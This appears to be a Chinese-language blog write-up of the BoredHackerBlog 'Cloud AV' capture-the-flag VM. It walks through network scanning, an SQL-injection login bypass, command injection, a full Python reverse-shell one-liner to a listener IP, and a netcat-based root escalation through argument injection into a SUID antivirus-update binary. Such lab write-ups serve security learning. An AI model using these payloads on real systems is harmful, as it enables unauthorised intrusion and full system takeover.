BoredHackerBlog: Cloud AV RT日记

简介: BoredHackerBlog: Cloud AV RT日记

信息搜集


首先ifconfig查看自己IP,

netdiscover查看同网段下主机

第三个应该是目标靶机。用nmap查看靶机开放端口:

开放22和8080,看看8080开的啥服务


WEB


看到让我们输入邀请码。有输入框的第一个反应是RCE,尝试几次后无果。后续测试SQL注入,发现在输入"时报错

Flask框架,最后一段报错信息直接看到搜索逻辑源码

输入其它内容时全部回显

推断布尔盲注,order by 尝试字段数


1" order by 1--+ 正常

1" order by 2--+ 报错

后续尝试


1" and left(version(),1)=5 --+


无果


直接:

1" or 1=1 --+

emmmm,进来了


还是看看能否RCE


输入111|ls

拿shell


出了,弹个shell试试

cat | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.112.72",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

成了

看看文件权限

有一个ROOT文件,下面有它的C文件,读一下看看

发现程序定义了一个执行参数,如果程序在执行中不包含参数,则会打印出:

This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam;

如果执行程序使用了参数,那么程序就会执行freshclam


可以试试提权:

./update_cloudav "666 | nc 192.168.112.72 5555|/bin/bash|nc 192.168.112.72 6666"

拿到ROOT权限

目录
相关文章
|
存储
av_register_all分析
av_register_all分析
100 0
av_register_all分析
|
存储 缓存 网络协议
gopacket tcpassembly源码分析
gopacket tcpassembly源码分析
|
存储 缓存
ZYNQ-Video out IP和Video Timing Controller IP简介
ZYNQ-Video out IP和Video Timing Controller IP简介
968 0
ZYNQ-Video out IP和Video Timing Controller IP简介
|
消息中间件 缓存 NoSQL
干货分享 | UT case设计与实战
case设计原则、面向工程结构设计、case设计思路、一般通用设计、入参验证、过程数据验证、最终结果验证、数据有效性验证
242 0
干货分享  |  UT case设计与实战
关于 海思平台sample的demo中添加ffmpeg静态库(.a)报错误undefined reference toavpriv_pix_fmt_hps_avi等错误 的解决方法
关于 海思平台sample的demo中添加ffmpeg静态库(.a)报错误undefined reference toavpriv_pix_fmt_hps_avi等错误 的解决方法
关于 海思平台sample的demo中添加ffmpeg静态库(.a)报错误undefined reference toavpriv_pix_fmt_hps_avi等错误 的解决方法
|
编译器 C语言 C++
爆肝IT小白的函数狂想曲(part 2)
函数声明👏 什么是声明,你告诉你的编译器,函数叫什么,参数是什么,返回类型是什么;但到底存不存在,我们不关心。声明一般在函数使用之前,要满足先声明后使用;且声明一般出现在头文件中。函数的定义是指函数的具体实现,交代函数的功能实现。C语言代码由上到下依次执行,原则上函数定义要出现在函数调用之前,否则就会报错。但在实际开发中,经常会在函数定义之前使用它们,这个时候就需要提前声明,语法如 :type function_name(type var);
爆肝IT小白的函数狂想曲(part 2)
|
存储 Shell Linux
Linux常用命令(Part Ⅰ)
Linux常用命令
267 0
|
消息中间件 Kubernetes Go
k8s与日志--采用golang实 现Fluent Bit的output插件
s" "time" "unsafe" "github.com/Shopify/sarama" "github.com/fluent/fluent-bit-go/output" "github.com/ugorji/go/codec" ) var ( brokers []string producer sarama.
2387 0

热门文章

最新文章